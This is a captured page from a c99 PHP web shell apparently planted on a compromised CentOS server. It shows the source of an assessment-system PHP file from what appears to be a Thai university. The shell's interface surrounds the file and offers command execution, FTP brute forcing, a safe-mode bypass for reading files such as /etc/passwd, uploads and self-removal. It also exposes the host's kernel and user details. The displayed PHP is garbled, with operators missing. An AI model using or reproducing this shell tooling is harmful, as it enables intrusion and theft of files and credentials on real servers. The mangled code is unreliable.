!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/class/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showFormClassOfficer.php (14.73 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsReg_AcadYearConfig.php";
include_once 
"../link/function.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassOpenForAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsDoAssessment.php";
?>
<script language="javascript">
function sendPage(startpage,holdCourse,src) {
    if(holdCourse == 1){
        var links = "./reportDataRQCourseTep3_1.php?"+src;
    }else if(holdCourse == 2){
        var links = "../admin/reportDataRQCourseTep4_2.php?"+src;
    }else if(holdCourse == 3){
        var links = "./reportDataRQCourseTep3_2.php?"+src;
    }
    window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=950 height=600, left = 30, top = 40');
}
</script>
<?
sendRequest
();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oProg = new Program($oCR);
$oAy = new AcadYearConfig($oCR);
$oCourse = new CourseAssess($oCA);
$oClass = new ClassAssess($oCA);
$oClsOpen = new ClassOpenForAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oAF = new AssessForm($oCA);
$oDo = new DoAssessment($oCA);

$oClass->SearchByKey($classId);
$oClass->GetRecord();

$oCourse->SearchByKey($oClass->courseId);
$oCourse->GetRecord();

$oOFA->SearchByKey($officerId);
$oOFA->GetRecord();

$oSse = new SysSemesterDes($oCR);


        
$acadYearSearch $acadYear;
        
$semesterSearch $semester;

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><fieldset><br>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="searchTeachCourse.php">ผลการประเมินรายวิชาที่สอน</a> 
      <img src="../picture/ico3.gif" align="absmiddle" border="0">สรุปผลการประเมินรายวิชาที่ส่งเกรด</font></legend>
      <div align="center"> 
        <form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
          <table width="627" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
              <td width="625" height="85" align="right">
                <table width="633" border="1" align="center" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr> 
                    <td width="151" height="22">&nbsp;</td>
                    <td width="136" height="22">&nbsp;</td>
                    <td width="336" align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;<img src="../picture/user.gif"  border ="0" width="13" height="13">&nbsp;ผู้ส่งเกรด 
                      </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      &nbsp; 
                      <?
                         
if($officerId == ""){ ?>
                      <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><? echo "- ไม่พบรายชื่ออาจารย์ผู้สอน -"?></font> 
                      <? }else{ echo $oOFA->prefixName.$oOFA->officerName."&nbsp;&nbsp;".$oOFA->officerSurname; } ?>
                      </font></td>
                  </tr>
                  <tr> 
                    <td height="22" colspan="3" > <table width="341" border="0" align="right" >
                        <tr> 
                          <td width="341" height="33"  align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;&nbsp;ปีการศึกษา 
                            :</b>&nbsp;<?=$acadYear?>
                            &nbsp;&nbsp;<b>ภาคการศึกษา :</b>&nbsp;<?=$semester?>
                            </font></td>
                        </tr>
                      </table>
                </td>
                  </tr>
                  <tr valign="top"> 
                    <td height="146" colspan="3" width="15%"> <fieldset>
                      <legend><img src="../picture/bookmark.gif" width="12" height="13" border="0"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> ผลการประเมินรายวิชาที่สอนแยกตามรายการแบบประเมิน</font></legend>
                      <table width="599" align="center">
                        <tr> 
                          <td colspan="2">&nbsp;</td>
                        </tr>
                        <?php

                    $i
=0;
                    
$flagHold1=0;        
                    
/*---------------------------------ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับบางรายวิชา(flag =8)-------------------------------*/
                    
$oDA->SearchByAcadSemFlag($acadYearSearch,$semesterSearch,'6');
                    while(
$oDA->GetRecord()){
                        
//$oHC->SearchByDefineidClassId($oDA->defineid,$classId);
                        //if($oHC->GetRecord() == '1'){
                        //$numTeach = $oHC->GetRowSelected();
                        //echo "<br> numTeach = ".$numTeach;
                        //if($numTeach > 0){
                        
$oHC->RSByDefineidClassofficer($oDA->defineid,$officerId);
                        if(
$oHC->GetRecord()){
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }
                        
//    echo "<br> oSA->sectionRQid = ".$oSA->sectionRQid;
                        //    if(($i%2) == 0)
                        //        echo '<tr>';
                        //    else
                        //        echo '<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                
?>
                        <tr> 
                          <td valign="top"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/icoa14.jpg"  border ="0" align="top"> 
                            </font> </td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><a href = "#" onclick = "sendPage('<? echo $startpage ?>',3,'defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&officerId=<? echo $officerId?>&acadYear=<? echo  $acadYearSearch ?>&semester=<? echo $semesterSearch ?>')"> 
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            <br>(ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>
                            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
                            * </font></a></font> </td>
                        </tr>
                        <?php
                            $flagHold1 
1;    
                        } 
//end if oHC  
                        
$i++;                
                    } 
// end while oDA              
                
?>
                        <? if($flagHold0 == && $flagHold1 == 0) { ?>
                        <tr><td colspan="2">&nbsp;</td></tr>
                        <tr> 
                          <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                            ไม่ปรากฏรายการแบบประเมินที่ใช้ประเมินในปีการศึกษา 
                            <?php echo $acadYearSearch ?>/<?php  $oSse->SearchByKey($semesterSearch);
$oSse->GetRecord(); echo $oSse->semesterName;?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;</font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">**</font></td>
                        </tr>
                        <tr><td colspan="2">&nbsp;</td></tr>
                        <? ?>
                      </table>
                      <br>
                      </fieldset>
                      <br >
                       <fieldset>
                      <legend><img src="../picture/bookmark.gif" width="12" height="13" border="0"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> ผลการประเมินแยกกลุ่มรายวิชาที่ส่งเกรด ตามรายการแบบประเมิน</font></legend>
                      <table width="599" align="center">
                        <tr> 
                          <td colspan="2">
                          
                          <table width="610" cellpadding="1" cellspacing="1" >
                  

                  
                  <?php
                    $oClass 
= new ClassAssess($oCA);
                      
$i=0;

                        
//ค้นหารายวิชาที่ส่งเกรดในเปีการศึกษา เทอมที่เลือก defult
                //        $oClass->SearchClassIdCourseIdByAcadSemOfficerGroupClassId($acadYear,$semester,$oOFA->officerId);
                    
$oClass->RSClassOfficer($acadYear,$semester,$officerId);
    
                    while(
$oClass->GetRecord()){
                        
$oCourse = new CourseAssess($oCA);
                        
$oCourse->SearchByKey($oClass->courseId);
                        
$oCourse->GetRecord();
                
                        if((
$i%2) == 0)
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                        else
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
                  <td height="22" align="left" colspan="2"><font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;<img src="../picture/update.gif" border="0" />
                  <a href = "#" onclick = "sendPage('classId=<? echo $oClassIn->classId ?>&sectionClass=<? echo $oClassIn->sectionClass ?>&courseId=<? echo $courseId ?>&acadYear=<? echo $acd ?>&semester=<? echo $sem ;?> ">
                  รายวิชา <?php echo $oCourse->courseCode;?>&nbsp;<?php echo $oCourse->courseName;?>&nbsp;<?php echo $oCourse->courseUnit;?>
                  ชั้นปี<? echo $oClass->studentYear ?></font></td> </tr>

  <?php

                        $i
=0;
                    
/*---------------------------------ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับบางรายวิชา(flag =8) teacher -------------------------------*/
                    
$oDA->SearchByAcadSemFlag($acadYear,$semester,'8');
                    while(
$oDA->GetRecord()){
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();
                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }
                    
//        $oTTA->RSJoinHCByDefineidClIdOfId($oDA->defineid,$classId,$officerId);
                    //        $oHC->SearchByDefineidClassIdOfficerId($oDA->defineid,$classId,$officerId);
                            
$oHC->RSByDefineidCourseIdClassIdOfficerId($oDA->defineid,$oCourse->courseId,'%','%');
                            if(
$oHC->GetRecord()){    
                    
?> 
                        <tr >
                          <td valign="top">&nbsp;
  
                            </td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><img src="../picture/icoa15.jpg"  border ="0" align="top">
                          <? if($oDA->isPreAssess) { ?>
                                    <img src="../picture/book1.gif" width="22" height="18" border="0" />
                            <? }else {?>
                                    <img src="../picture/open_book1.jpg" width="22" height="18" border="0" />
                            <? ?>
                            <a href = "#" onclick = "sendPage('<? echo $startpage ?>',2,'defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&classId=<? echo $oHC->classId  ?>&courseId=<? echo $oCourse->courseId ?>&officerId=%&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>')"> 
                            
                            <? if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            <br>(ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)*  </a>
                            </font>    </td>
                        </tr>
                        <?php    
                            $factHold 
1;
                        } 
// end if oHC
                        
$i++;                
                    } 
// end while oDA
                    
                        
if(($fact == 0) && ($factHold == 0)) { ?>
                        <tr> 
                          <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                            ไม่ปรากฏรายการแบบประเมินที่ใช้ประเมินในช่วงเวลาปัจจุบัน 
                            **</font></td>
                        </tr>
                        <? ?>
                        
                  <?php
                    $i
++;
                    
$flag=1;
                }    
// end while oClass
                        
                
if($flag == 0) {
?>
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>"> 
                    <td colspan="6" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                      ไม่ปรากฏรายวิชาที่สอน **</font></td>
                  </tr>
                  <?php
            
}    
?>
                  </table>
                  
                          &nbsp;</td>
                        </tr>
                        </table>
                      </fieldset>
                      
                      </td>
                  </tr>
                </table>
                
              </td>
            </tr>
            <tr> 
              <td height="2"></td>
            </tr>
            <tr> 
              <td height="40"><br>
                <input type="button" name="back2" value="กลับสู่หน้าหลัก" onClick=" location.href = 'searchTeachCourse.php'"></td>
            </tr>
          </table>
        </form>
      </div>
      </fieldset><br>
      <table width="89%" border="0">
        <tr> 
          <td width="10%" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="90%" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">เลือกรายงานและคลิกที่รายการแบบประเมินเพื่อดูผลการประเมิน</font></td>
        </tr>
        <tr> 
          <td height="27">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">* 
            หมายถึง แบบประเมินเฉพาะรายวิชา</font></td>
        </tr>
      </table>
    </td>
</tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0079 ]--